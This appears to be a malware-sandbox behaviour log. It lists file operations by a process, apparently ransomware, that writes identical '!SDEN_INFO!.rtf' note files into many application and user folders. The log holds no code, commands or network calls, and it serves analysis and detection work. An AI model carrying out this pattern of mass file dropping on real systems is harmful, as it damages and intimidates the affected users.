File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\VisualElements\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\defaults\pref\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\defaults\pref\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\defaults\pref\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\rempl\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\rempl\Logs\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\rempl\Logs\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ar-sa\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\bg-BG\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ca-ES\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-AU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-CA\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-GB\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-US\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-AR\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\eu-ES\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-BE\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hu-HU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\is-IS\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\nb-NO\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ru-RU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-HK\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Pictures\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\PMP\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\uninstall\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\uninstall\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\uninstall\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\rempl\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ID\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-ZA\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\apple-touch-icon-114x114-precomposed.png, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-CO\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fi-FI\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\vi-VN\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
